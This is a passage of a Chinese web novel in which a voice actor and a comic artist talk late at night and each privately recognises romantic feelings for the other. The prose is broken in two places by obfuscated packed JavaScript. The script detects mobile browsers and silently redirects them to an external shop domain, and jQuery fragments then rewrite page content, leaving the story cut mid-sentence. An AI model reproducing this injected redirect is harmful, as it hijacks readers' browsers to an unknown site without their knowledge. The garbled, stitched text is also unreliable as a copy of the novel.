;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815092|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说‘我都哭成这样了你一定要落泪，你一定要被我打动’。” 江浏接着对面的话尾，“对啊，实际上只是沉浸在情绪里自己感动自己，不顾人物、不顾剧本、不顾观众。我觉得，当一个演员有这样的想法时，冷静的观众就会开始鄙夷他的丑态了。” 被观看、被聆听才是表演的意义。舞台上所有创作都是以观众为中心的，如果观众连演员在讲什么、演什么都听不清、弄不懂，那么情绪和状态的表达便显得无关紧要，人物的形象更是立不住。 所以，江浏始终抽离出自己，记得那份“假”，可那么久以来他压抑着自己的感受，到最后竟然连的那份最重要的“真”也没有了。 而叶慕唐又在无意中说中了江浏最在乎却又被他自己忽视掉的东西。 “可能，正是因为有这一分的假在，那些真的才变美了吧。” 漫无目的的脚步在此停驻，江浏有一次感受到了那种奇妙的“轻盈”，仿佛阻塞依旧的河道终于迎来了清除淤泥的泄洪。 “糖老师，你真的很懂表演。”江浏说。 叶慕唐“哎呀”了几声，“没有，我只是一个挑剔的观众。” “糖老师是很谦虚的。”江浏忍不住想要夸奖他。 对面似乎扭捏了一小下，才有点小得意地接受了这份夸奖，“每个专业都有自己的门道，但好在艺术是相通的。” “嘶！” 忽然，江浏的脚步停在了客厅电视墙的储物柜前。原来是下方长条形的抽屉没有关好，凸出来的柜门冷不丁磕到了他的小腿。 叶慕唐关心地问：“没事吧？” “没事没事，不小心碰到了，没磕破，估计就是块淤青。” 江浏放下手机和娃娃，卷起裤腿，按着撞到的地方。他抬手正要合上抽屉，眼底的余光忽然瞄到了抽屉里面。 他忽然说：“对了，你记得我上次给你拍舞剑的参考视频，用的是晾衣杆吗？” 叶慕唐不知道话题为什么会跳到这儿，但这人本身就是思维很跳跃、反应也很快的，立刻跟上，“记得，怎么不记得。你还给晾衣杆栓了‘剑穗’呢！” “当时，我是在家里找了半天，翻箱倒柜都没找到练习剑，实在是没办法了才拿的晾衣杆。”江浏无奈地笑出了声，“不瞒你说，就现在，在我们完全不需要它的时候，练习剑它出现了。” 说着，他一把拉开了撞到他的抽屉，摸出了正经拴着大红色剑穗、插在剑鞘里的练习剑。 电话两边的人都莫名其妙地笑了。 25. 剖开 时间不早了，江浏明天是真的有排练，实在是不能熬下去了。 他们说了“晚安”一个继续描线涂色，一个洗漱准备入睡。 江浏简单擦拭消毒后把娃娃和迷你漫画书放在了床头，打算让这份毛茸茸、暖呼呼的礼物陪着他一起睡觉。 床头的小夜灯亮着，江浏有些舍不得睡，他轻轻点开了跟叶慕唐发过的语音消息，让软件自动一条条地播放下去。 总感觉有太多东西是值得回味的了。 尤其是，哪怕在对台词极度挑剔的江浏耳朵里，叶慕唐的普通话也是讲得很好那一档。即使语速很快也能听清楚他在讲些什么，还是个妙语连珠的机灵鬼，听起来相当舒服。 “漫展那天吹的口风琴？我小时候学过钢琴，好久不练早都忘光了，口风琴只有单手旋律，临时突击就行。我还记得小时候我问我妈，‘为什么不让我学二胡？钢琴那么大，出去卖艺都搬不动’。” “然后，我妈就身体力行地告诉了我，世界上还有电子琴这种东西。” “我小学特别淘气，上课根本坐不住，老师一不留神，我就溜出座位摸摸这个、敲敲那个的。老师罚我到门外站着，人都不在教室我更待不住，在走廊里跑着玩，把电子公告屏弄碎了。” “当晚，我妈拿着电子琴和音响，把我拉到很多老太太跳广场舞的地方，在我面前支了一块牌子，写明我是来卖艺赔偿学校公物的，可以随便点谱本上的曲子，让我给广场舞弹伴奏挣钱。” 忽然，自动连播跳到了江浏的语音。 “哈哈哈，阿姨是真有招啊！太佩服了，感觉你和家人都很有爱。” 他冷不丁听到了自己的声音，被略带些做作与不自然的自己惊到了。 刻意提高的调值、带着点表演性质的活泼、为了音色好听挂上了位置…… 不只是这一条语音，每条都是。 经过这么多年工作的打磨，江浏不是听不惯自己的声音，只是他没想到自己在夜幕糖面前竟不自觉地在粉饰自己，似乎刻意地想要表现些什么。 他知道，当自己面对长辈、老师、憧憬的前辈时会下意识地放低姿态，几乎是处于生存本能地展示自己“讨喜”的一面，渴望得到认可与肯定，希望能博得人们的喜爱。 那种状态是生活中不自觉的表演，浑然天成到有时他自己都能被骗过。 只有当他与对方地位的差距缩小，心理的距离拉近，建立起信任之后，他才会慢慢放松下来，失掉粉饰自己的动机，回归相对低沉些的本音。 所以，很多与他相熟的朋友，包括大学时期的桂予宁，都会在某天约饭的时候忽然问江浏“最近是不是不开心”“感觉你没有平时有精神”“有没有发生什么事”“是不是感冒了练台词练累了”。 其实，只是他知道自己不用演了。 “奇怪。”江浏喃喃自语。 为什么他会想要“讨好”夜幕糖呢？ 江浏很快意识到，那份讨好背后是他“孔雀开屏”般想要释放自己的魅力。叶慕唐越是表现出他对“水帝”的不喜，江浏就越是想要对方更喜欢“平野月”一些。 他很清楚自己这么做不是胜负欲作祟，更可能是想要通过展现自己的吸引力，让他们之间的关系更加亲密。 或者，直白地面对自己的内心——他对叶慕唐起了不该起的心思。 江浏猛然意识到自己的念头是越界的，那是朋友范围以外的索求，很危险。 尽管很想逃避，但他终究还是要直面自己本真的欲求。 在看完那本迷你漫画书的时刻，除了惊喜和感动之外，江浏知道自己隐秘的的遐思得到了满足。 他在想：如果跟能画家恋爱，最浪漫的事情，大概就是被恋人记录在笔下了。 他的满足源于被描绘的时刻，他成了对方眼中的世界仅有的一个人。 仅仅是幻想着叶慕唐描绘他的模样，就足以助长太多旖旎的念头。 多么卑劣的想法，他竟擅自在心底为对方友谊的表达蒙上了不该有的色彩。 “这太糟糕了。” 江浏是在说自己。 是的，他欣赏叶慕唐的才华，认可对方的观点，喜欢那人的外表……但这一切不应该与“情欲”沾边。 连在得知对方无意间泄露的姓名之后暗生的窃喜，也显得卑劣。 他甚至连真实的身份和自我都未曾展露，竟开始向对方索求旁的什么东西。 “为什么欣赏对方的才华就想着跟人家谈恋爱？才华这东西又不通过性传播……难道这世上所有的有才华的人我都要挨个心动一遍吗？” 真的欣赏人家的才华和能力，只需要作为消费者拿钱为自己喜欢的作品投票就好，不需要走进人家的内心和生活，更不需要想着跟人上床。 更何况，优秀作品会美化作者的形象，江浏作为读者十分清楚，角色的高洁的品质和人性的光辉并不是作者本人的高光。创作者也是芸芸众生里的一个普通人罢了。 江浏起身靠在床头，控制着自己不要去看枕边的娃娃。 他登录金主号，也不管有没有更新，先给能打赏的都轮番打赏一遍！ 夜晚不理智的行为并没有给江浏杂乱的心绪带来任何改善，只是丰满了许多创作者的钱包。 在他金主号“B.Aic”的列表里躺着无数花钱支持过的作者，其中不乏有能力的、有创意的、相谈甚欢的，就连通过夜幕糖了解到的酸酸球太太现在都在他的打赏名单里。 但这样失控的念头，却是前所未有的。 “大概是年纪大了，比较孤单寂寞了吧？”江浏自嘲道。 他很瞧不起那种因为想要逃避独处，才要谈恋爱的想法。他深知恋爱并不能消解本质上的孤独。与虚无和孤独的对抗，是伴随一生的持久战。强大的内心在不安和无常里也只是屡败屡战罢了。 究竟他是不是为了短暂地逃避，才想躲进名为“爱情”伞荫之下呢？ 江浏很谨慎，他必须分清，自己是因为“欣赏对方”才心向往之，还是因为“不想一个人单着”才拿那么好、那么纯粹的人当做借口。 但实际上，无论是前者还是后者，似乎都是不合时宜的。 “还是，缓一缓吧。” 江浏有些艰难地下定了决心，缓缓缩回被子里。 每天持续的高密度交流养成了习惯，会给人不该有的错觉。他深知非分之想只有零次和无数次，但他不能纵容自己让事情向着脱轨的方向发展，那样会给对方造成不必要的麻烦。 “说到底，糖老师也从来没说过自己的性取向啊。”江浏略显烦躁地翻了个身，“只是看人家画脆皮鸭漫画就觉得人家是弯的，是我思想太肮脏了吧？” 即便是十分亲密的好友，也不需要天天黏在一起，也要个人空间的。 江浏抬手摸摸枕边的娃娃，暗暗决定，不要再频繁地骚扰人家了。 …… 午夜，叶慕唐家。 平野月因为工作先去休息了，叶慕唐就放着点什么带响的东西来填补绘画时的安静，正好赶上有喜欢的广播剧FreeTalk发了直播回放，能热热闹闹地边听边画。 好不容易画完了当天的份，叶慕唐是真的累了，从冰箱里拿出点速冻食品丢进微波炉，又开了一袋泡面丢进锅里煮。 微波炉运转的声音里，他一手搅动着锅里的泡面，一手习惯性地点开了平野月的聊天界面。 今天也是两个人聊得很开心的一天。对面也依然没有发现叶慕唐的小心思和小动作。 最近一段时间，叶慕唐在有意地透露自己的真实信息，给平野月邮寄东西的时候也是故意用的真名。 他希望平野月不止喜欢他的作品，如果能喜欢他的人就更好了。 每每回想起二人的相遇，他只想问：谁能不沦陷？谁能不迷糊？ 叶慕唐知道自己目的不算单纯，但是很多事情都是已经发生了、他已经天然地追随本心地做完了，他才开始问有没有后悔药可以吃。 哪怕一遍遍地告诉自己要克制，可到头来，他还是会将生活中鸡零狗碎的细节通通分享给平野月，像是幼儿园放学之后叽叽喳喳跟父母分享幻想故事的小朋友。 每次说完了，他才发现自己把小时候的糗事全抖落干净，还暴露了很多自己的缺点，后悔得要命。 可平野月却从来没说过他半句不好。 就连他闯祸打碎公告屏、被老妈拉去卖艺赚赔偿款的事情。也被平野月夸了有担当，还说自家老妈很会教育孩子、很有方法。 叶慕唐知道自己嘴碎、讲个不停是很惹人嫌的，可他在兴头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815093|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话都说出去了、语音也发出去了，意识到已经晚了。 【夜幕糖】：真的很抱歉QAQ我话太密，爱插话，但我真的不是不尊重你，我就是在你面前太放松了，说着说着就忘记要控制一下自己了……我以后会注意的。 【CN平野月】：诶？没有啊，我超级喜欢听你说话的！ 【CN平野月】：不用控制，请继续保持~ 平野月不仅听得津津有味，事事有回应，还说他“热情外向、有幽默感、思维敏捷、先天脱口秀圣体”。 真奇怪，叶慕唐因为爱讲话从小被老爹批评不礼貌、冒犯、很坏、惹人嫌。却是头一回被人说“这是你的优点”“性格的特质有两面性，这明明是你的优势”。 平野月是那么好、那么好的人啊！ 被这么好的人看到、认可本身，就足以幸福到晕过去了。 好开心、好温暖，好想让平野月也能有这样的感受。 所以，他也想为平野月做些什么，想要改变自己身上一些令人不太满意的毛病，让对方与自己的相处尽可能地舒适。 但人能演一阵子，却很难演一辈子，更何况叶慕唐演技也不好。 他知道自己“闲不住、多动”，因为小动作多搞得手机、压感笔摔坏了不知道多少，平野月却说他“精力充沛是健康的表现，元气满满、活力四射的样子非常有感染力”。 连载漫画他总是情绪过山车，这次评论区热闹了觉得自己的作品牛逼得不行，尾巴要翘到天上；下次更新评论少了就大感失落，叽叽歪歪自我怀疑。 平野月也不觉得他情绪不稳定，反而说“敏感、心思细腻，是一个优秀创作者必备的品质”。 简直连呼吸都要被夸。 对方明确地指出自己在创作上的短板和问题时，总是能无比清醒地切中要点。虽然提出建议的态度温柔又委婉，但任何想要偷懒的小动作都逃不过对方的眼睛。 正因为批评的时候“不留情面”，所以叶慕唐更能清晰地感受到，平野月夸他不是为了捧杀，而是真心实意地认为他很好。 “说实话，我很羡慕你。”平野月说话总是慢条斯理的，听的人很舒服，“我同时只能做一件事情，做了这个就不能做别的了。” 叶慕唐起先还有些不太相信，“那一边跟人聊天一边摸鱼，或者一边听歌一边做别的事情总可以吧？” “嗯……其实也不太行。”平野月思索着说：“我如果听歌就会被歌词和旋律吸引，有的时候一边做家务一边听播客，听着听着就放下手里的活儿，坐下来专心看着字幕了。” 叶慕唐睁大了眼睛，“所以，你跟我聊天的时候也是做不了别的事情？” “对啊，所以都是晚上工作完了或者是中间休息时间来找你。”平野月如是说，“正好你画画总得听点什么，我不会影响到你。” 在感动之余，叶慕唐甚至感受到了一点压力和歉疚。 那代表平野月在维系两个人关系上付出的时间成本是非常可观的，几乎是绝大部分的休息时间都留给了叶慕唐。 人好得过分，好到叶慕唐甚至有些瞬间怀疑这会不会是针对他的赛博诈骗？ 但转念一想又觉得肯定不是。 毕竟人家明明工作又忙又累老是加班，还愿意腾出时间、金钱、精力帮忙收集素材、讨论剧情，相识许久也没拉他投资虚.拟.货.币、也没说家里有难要借钱，明显不是诈骗。 再说了，杀.猪.盘也要有利可图吧？ 以他的财务状况和工作情况，哪怕是贷.款都不会放给他的。 只是,他几乎是没有任何保留地将自己的内心与生活都分享给了平野月，可他却能明显感觉到对方在敞开的同时依然有所保留。 毕竟说穿了，他们归根结底也只是网友而已，比起真实的朋友，他们更像是彼此的“电子宠物”，上线戳一戳就能动弹、掉落情绪价值罢了。 “叮”！ 微波炉通知他速食盐酥鸡已经做好了。 叶慕唐拿出盘子，喃喃自语：“等等，我这么勾搭读者，不就是私联吗？” 而且心思不纯，馋人家身子。 “没有大热漫画家的命，却染上了大红人爱睡粉的毛病。”叶慕唐双手狠狠地拍在自己的双颊上，让自己清醒一点，“不要犯浑啊啊啊！”